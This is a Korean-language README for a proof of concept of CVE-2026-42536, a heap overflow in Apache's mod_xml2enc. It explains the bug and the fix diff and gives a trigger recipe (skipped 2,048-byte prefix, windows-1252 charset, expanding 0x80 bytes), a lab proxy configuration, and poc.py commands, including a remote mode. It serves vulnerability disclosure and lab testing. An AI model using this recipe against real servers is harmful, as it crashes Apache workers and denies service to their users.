
Apache HTTP Server의 mod_xml2enc, xml2StartParse 및 신뢰할 수 없는 콘텐츠와 관련된 힙 기반 버퍼 오버플로 취약점
mod_xml2enc 힙 오버플로 PoC이 저장소는 Apache HTTP Server의 mod_xml2enc 모듈에서 발생하는 힙 기반 범위 초과 쓰기(heap-based out-of-bounds write)인 CVE-2026-42536에 대한 통제된 개념 증명(proof of concept)을 포함합니다. Apache HTTP Server 버전 2.4.0부터 2.4.67까지가 영향을 받으며, 버전 2.4.68에 업스트림 수정 사항이 포함되어 있습니다.
시연된 결과는 메모리 손상에 이은 Apache 워커(worker) 충돌입니다. 반복적인 트리거는 서비스 거부(denial of service)를 유발할 수 있습니다. 이 PoC는 원격 코드 실행, 권한 상승, 또는 리버스 셸을 시연하지 않습니다.
이 PoC는 의도적으로 Apache 워커를 충돌시킬 수 있는 콘텐츠를 전송합니다. 본인이 소유하거나 명시적으로 테스트 권한을 부여받은 일회용 격리 환경에서만 실행하십시오. 운영 환경이나 제3자 시스템을 대상으로 지정하지 마십시오.
이 스크립트는 기본적으로 루프백(loopback) 동작만 허용합니다. 원격 동작은 명시적인 --allow-remote 플래그가 필요하지만, 해당 플래그가 권한 부여를 대체하지는 않습니다.
xml2StartParse는 mod_xml2enc가 구성된 시작 요소 이전의 바이트를 건너뛰도록 지시할 수 있습니다. Apache HTTP Server 2.4.67에서 fix_skipto()는 출력 버퍼 포인터를 전진시키고 유효한 데이터의 양을 줄이지만, 출력 용량(capacity)을 동일한 오프셋만큼 줄이지는 않습니다:
ctx->bytes -= (p - ctx->buf);
ctx->buf = p;
따라서 이후의 문자 집합 변환은 ctx->buf가 이제 해당 할당 내부를 가리키고 있음에도 불구하고 원래 할당을 기준으로 측정된 용량을 받게 됩니다. 이 PoC는 다음을 결합하여 이 불일치를 관찰 가능하게 만듭니다:
xml2StartParse html에 의해 건너뛰어지는 2,048바이트 접두사.charset=windows-1252를 선언하는 Content-Type.0x80으로, 이는 하나의 CP1252 바이트에서 유로 기호의 3바이트 UTF-8 인코딩으로 확장됩니다.확장 변환은 오래된(stale) 용량을 소비하며, 전진된 포인터 이후에 실제로 남아 있는 공간을 넘어 쓸 수 있습니다.
Apache 2.4.68은 건너뛴 오프셋을 ctx->bblen에서 빼서 회계 오류를 수정합니다:
ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
ctx->buf = p;
이 PoC는 두 개의 HTTP 구성 요소를 사용합니다:
poc.py client -> vulnerable Apache front end -> payload backend in poc.py
Apache는 다음 모듈을 로드해야 합니다:
filter
proxy
proxy_http
xml2enc
다음 구성은 격리된 Apache 2.4.67 이하 랩에서만 사용하십시오:
Listen 127.0.0.1:18080
<VirtualHost 127.0.0.1:18080>
ProxyRequests Off
ProxyPass /cve-2026-42536/ http://127.0.0.1:18081/
ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/
<Location /cve-2026-42536/>
SetOutputFilter xml2enc
xml2StartParse html
</Location>
</VirtualHost>
기본 구성은 poc.py가 Apache와 동일한 호스트 또는 컨테이너 네트워크 네임스페이스에서 실행될 것을 기대합니다. 포트 18081은 페이로드 백엔드이며, 요청은 포트 18080의 필터링된 Apache 라우트로 전송되어야 합니다.
취약한 Apache 인스턴스를 시작한 다음, 동일한 일회용 호스트 또는 컨테이너에서 PoC를 실행하십시오:
python3 poc.py
기본값은 다음과 동일합니다:
python3 poc.py \
--host 127.0.0.1 \
--port 18080 \
--path /cve-2026-42536/ \
--backend-bind 127.0.0.1 \
--backend-port 18081 \
--skip 2048 \
--expand 12288 \
--attempts 3
두 대의 머신으로 구성된 승인된 랩의 경우, 페이로드 백엔드가 Apache에서 접근 가능하도록 하고 ProxyPass/ProxyPassReverse를 공격자의 랩 IP를 사용하도록 업데이트하십시오. 그런 다음 백엔드를 바인딩하고 랩 Apache 주소를 명시적으로 대상으로 지정하십시오:
python3 poc.py \
--host VICTIM_LAB_IP \
--port 18080 \
--backend-bind 0.0.0.0 \
--backend-port 18081 \
--allow-remote
백엔드 포트를 격리된 테스트 네트워크 외부로 노출하지 마십시오.
PoC를 실행하는 동안 Apache를 모니터링하십시오. 빌드 및 프로세스 관리자에 따라, 부모 프로세스가 충돌한 워커를 교체하는 동안 클라이언트 요청이 실패하거나, 재설정되거나, 부분 데이터를 반환할 수 있습니다.
테스트된 취약한 빌드에서의 일반적인 증거는 다음과 같습니다:
AH01434 character-set conversion selected
AH01428 skipped to the first configured element
AH01441 conversion performed
AH00052 child process exited on signal 11 (SIGSEGV)
systemd로 관리되는 설치의 경우:
sudo journalctl -u apache2 -f
포그라운드 Docker 컨테이너의 경우:
docker logs -f CONTAINER_NAME
워커 PID의 잦은 변경은 추가적인 신호를 제공할 수 있습니다:
watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'
전송 실패만으로는 취약점의 증거가 되지 않습니다. Apache 오류 로그, 시스템 저널, 새니타이저(sanitizer) 출력, 또는 코어 덤프에서 충돌을 확인하십시오.
동일한 모듈과 가상 호스트 구성을 사용하여 Apache HTTP Server 2.4.68에 대해 동일한 요청을 반복하십시오. 페이로드 백엔드는 여전히 요청을 수신해야 하지만, 출력 용량이 전진된 포인터와 함께 줄어들기 때문에 Apache 워커는 살아 있어야 합니다.
부모 프로세스가 워커를 자동으로 교체하지 않는 경우, 일회용 랩 서비스만 재시작하십시오:
sudo systemctl restart apache2
또는 일회용 컨테이너를 재시작하십시오:
docker restart CONTAINER_NAME